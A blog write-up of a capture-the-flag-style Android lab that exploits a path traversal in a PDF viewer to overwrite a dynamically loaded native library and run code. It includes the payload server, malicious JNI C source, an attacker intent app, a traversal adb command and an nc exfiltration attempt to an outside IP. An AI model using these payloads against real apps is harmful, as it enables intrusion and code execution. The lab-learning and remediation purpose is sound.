Path traversal to RCE in Android — Mobile Hacking Lab ‘Document Viewer’ write-up
During the preparation for eMAPT, I came across Mobile Hacking Lab — and their free hacking labs which I felt would help me for practice. So I decided to give it a try starting with the ‘Document Viewer’ challenge. Getting right into the problem.
This post contains the solution to the lab challenge. If you’d like to try the lab first, over here : https://www.mobilehackinglab.com/course/lab-document-viewer-rce
Problem statement
The do give out some solid hints & right direction in the problem statement.
Your target is an Android application with a feature to open PDFs from HTTP/HTTPS URLs
They give clear instruction with the methodology:
- Use reverse engineering tools to analyze the application’s code and understand how it processes URLs.
- Identify the path traversal vulnerability and determine how to exploit it.
- Craft a malicious payload that leverages the dynamic code loading capability.
- Achieve remote code execution on the device running the application by executing the payload.
Bug Discovery
Checking out the app functionality
The app looks like a PDF viewer.
Tried opening PDF files with it.
Hooked on to logcat for debug information from the emulator
adb logcat
I happened to spot this interesting error:
It says ‘open failed’ — while trying to open libdocviewer_pro.so
Reversing the app
I used APKLab
— a vs-code extensionfor quick reversing. It orchestrates reversing the APK as well as Java code.
Analysing manifest file
AndroidManifest.xml has the ‘exported’Activity ‘MainActivity’ with few intents registered with it.
The app is capable of handling android.intent.action.VIEW
action which means it can be used for opening files.
There’s also hint on different schemes it support — file
, http
, and https
. The mime type of file it can handle is application/pdf
The manifest file has more sections — a provider
and receiver
also that’s defined there. I didn’t quite understand the purpose of that. ChatGPT said it’s something related to managing initialisation, and performing benchmarks - probably this is some debug stuff.
Trying out the intent functionality
After checking manifest, and also from the challenge hints, its clear that the app has more functionality — apart from what a normal user installed the app can perform.
For triggering the http://
handler of the app, I fired up an Android Studio project, and created an app for calling the ‘Document Viewer’ intent.
Now it’s time to inspect the reversed code.
Analysing reversed logic
APKLab had taken care of decompiling the app and the Java code into respective folders.
MainActivity.java
had the following code which looks interesting.
There’s a loadProLibrary()
function that gets executed after handleIntent()
which probably handles the intent calls. Let’s look more into the most interesting one first - loadProLibrary()
So, this is the one which threw the error about ‘library not found’. It basically tries to load the library libdocviewer_pro.so
from application’s getFilesDir() + "native-libraries/" + abi
folder which was displayed in the error as /data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/x86/libdocviewer_pro.so
So, there’s code being loaded dynamically and executed. If we can somehow manage to replace the file libdocviewer_pro.so
we can get code execution.
We need to further investigate into how http://
files are being handled during intent call. The hint from problem statement is to focus on file downloaded over network. Let’s look at the handleIntent()
function.
Above function handles all android.intent.action.VIEW
intents. Nothing mush interesting here other than call to CopyUtil.Companion.copyFileFromUri()
. Vs-code search is very handy for finding the function.
CopyUtil
related logic was split into multiple files CopyUtil$Companion$copyFileFromUri$1.java
, CopyUtil.java
by the decompiler. The following logic handles file://
protocols and http://
separately.
Connection is made to the given URL and file is downloaded and save to storage. If we need to get anything done, we’ll have to be able to control this.$outFile
- the filename.
File name is decided by the function which invokes CopyUtil$Companion$copyFileFromUri$1()
. Over to there.
It’s clear that the above function parses the URL. It takes the getLastPathSegment()
of the URL and uses that as file name. If that happens to be null - say for URL like http://attacker.com/downloadpdf
a default filename download.pdf
is used.
After trial-and-error I discovered that ‘Last Path segment’ is the value that comes after /
in the URL.
Say, for http://attacker.com/file.pdf
, file.pdf
would be the ‘Last path segment’.
Here the possibility to get a path traversal depends on three things :
getLastPathSegment()
ignoring url-encoded form of/
which is%2F
which would allow us to crunch in a path traversal string.new File(file, lastPathSegment)
should be processing encoded file name inlastPathSegment
after decoding - otherwise this might result in a file with literally the name..%2fpayload.pdf
on the disk.new File(file, lastPathSegment)
should allow path traversal.
Which meansnew File("/storage/emulated/0/Downloads/folder/../../file.pdf")
should actually be able to create a file in/storage/emulated/0/
.
Validating behaviour of ‘getLastPathSegment()’ and ‘new File()’
Back to Android Studio for validating this. I wrote the following code.
From logcat:
Conditions (1), (2) and (3) are thus validated.
- and 2.
getLastPathSegment()
does url-decoding - but parses the string after the un-encoded/
. This is crazy right 🤑 !!
3. new File()
allows path traversal.
Now it’s good to go for exploitation.
While was good to understand the root cause of the bug, next time onwards, I’d go with only black box approach by trying out different path traversal strings.
Exploitation
HTTP server for delivering payload
from http.server import HTTPServer, BaseHTTPRequestHandler
file = open('../libs/x86/libmyexploit.so', 'rb')
data = file.read()
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-length', str(len(data)))
self.end_headers()
self.wfile.write(data)
self.end_headers()
httpd = HTTPServer(('', 80), SimpleHTTPRequestHandler)
httpd.serve_forever()
It simply handles all paths for GET, and sends the .so library as response.
Compiling the exploit .so library
While I knew that Android has NDK for making use of C/C++ code along with Java. I’ve never done this before. Alright, this challenge is pushing me to learn that bit.
- Downloading NDK from Android
- Creating
exploit.c
in a folder within my Android Studio project. It executes throughJNI_OnLoad
which is executed every time a.so
file is loaded.
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) {
system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked");
}
return JNI_VERSION_1_6;
}
JNIEXPORT void JNICALL Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
(JNIEnv *env, jobject thisObj) {
if (fork() == 0) {
system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked2");
}
return;
}
Just the function Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
is sufficient for the RCE. If there was a scenario where the function initProFeatures()
was not invoked then JNI_OnLoad
can trigger the exploit during library load itself.
- Creating
Android.mk
in the same folder. NDK will build it file namedlibmyexploit.so
.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := myexploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_SHARED_LIBRARY)
cd
into code directory and callndk-build
. The.so
files for different architectures will be compiled and saved withinlibs
. (hacky way of course 😛)
Android NDK: APP_PLATFORM not set. Defaulting to minimum supported version android-21.
[arm64-v8a] Compile : myexploit <= exploit.c
[arm64-v8a] SharedLibrary : libmyexploit.so
[arm64-v8a] Install : libmyexploit.so => libs/arm64-v8a/libmyexploit.so
[armeabi-v7a] Compile thumb : myexploit <= exploit.c
[armeabi-v7a] SharedLibrary : libmyexploit.so
[armeabi-v7a] Install : libmyexploit.so => libs/armeabi-v7a/libmyexploit.so
[x86] Compile : myexploit <= exploit.c
[x86] SharedLibrary : libmyexploit.so
[x86] Install : libmyexploit.so => libs/x86/libmyexploit.so
[x86_64] Compile : myexploit <= exploit.c
[x86_64] SharedLibrary : libmyexploit.so
[x86_64] Install : libmyexploit.so => libs/x86_64/libmyexploit.so
Directory structure (some folders are truncated):
.
├── build
│ ├── ...
├── build.gradle
├── jni
│ ├── Android.mk
│ └── exploit.c
├── libs
│ ├── arm64-v8a
│ │ └── libmyexploit.so
│ ├── armeabi-v7a
│ │ └── libmyexploit.so
│ ├── x86
│ │ └── libmyexploit.so
│ └── x86_64
│ └── libmyexploit.so
└── src
├── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── res
Execution of exploit app.
Exploit app is built using Android Studio
MainActivity.java
of the malicious app :
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String ATTACKER_SERVER = "http://192.168.240.57";
String targetPackageName = "com.mobilehackinglab.documentviewer";
String targetActivityName = "com.mobilehackinglab.documentviewer.MainActivity";
Uri uri = Uri.parse(ATTACKER_SERVER + "/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2fx86%2flibdocviewer_pro.so");
android.content.Intent intent = new android.content.Intent(Intent.ACTION_VIEW);
intent.setDataAndType(uri, "application/pdf");
ComponentName componentName = new ComponentName(targetPackageName, targetActivityName);
intent.addFlags(android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK | android.content.Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
intent.setComponent(componentName);
startActivity(intent);
}
}
The invocation of malicious app causes an intent trigger to invoke ‘Document Viewer’ and download the exploit from server running at http://192.168.240.57
.
The victim app needs to be closed and opened again once for the exploit to trigger. the exploit triggered causes creation of two files hacked
and hacked2
within /data/user/0/com.mobilehackinglab.documentviewer
. Yes it needs two invocations 😒.
Directory of ‘Document Viewer’ app :
Yeass, the exploit works 🤩. We have achieved code execution in the context of vulnerable app.
Final thoughts
Easier way for testing intents — am :
It’s later I came across am
- a CLI tool within android which help with launching intents - with any payload. No need of writing custom code for testing intent invocation.
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://144.24.141.230/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2farm64-v8a%2flibdocviewer_pro.so"
Avoiding 2 invocations : I’m not really sure about why the exploit didn’t work for the first invocation of the app itself, even though loadProLibrary()
is invoked after handleIntent()
Post-exploitation : this is something I still need to figure out. About what all an attacker can possibly do if there’s an RCE. How can I perform data ex-filtration?
When I was trying to get a connection to a server using nc
in toybox
I from the context of the app user I was getting permission error.
$ id
uid=10072(u0_a72) gid=10072(u0_a72) groups=10072(u0_a72),9997(everybody),50072(all_a72)
$ toybox nc 192.168.240.57 6666
nc: socket 1 0: Permission denied
Exit code: 1
Remediation of Bug: the bug could be possibly remediated by making it impossible to perform a path traversal.
One way to remediate is to sanitize the filename before invoking Uri.getLastPathSegment()
. Another technique would be to completely avoid the filenames originating from user side. Generating unique and random usernames for each file will remediate.
This lab is indeed close to real-life.
Found a similar bug bounty write-up.
Evernote Android RCE : https://hackerone.com/reports/1377748
Lot of thanks for Mobile Hacking Lab for creating the labs, and putting it out there for free.
For Reference:
Android advisory about path traversal : https://developer.android.com/privacy-and-security/risks/path-traversal
Compiling Native code for Android : https://www3.ntu.edu.sg/home/ehchua/programming/android/Android_NDK.html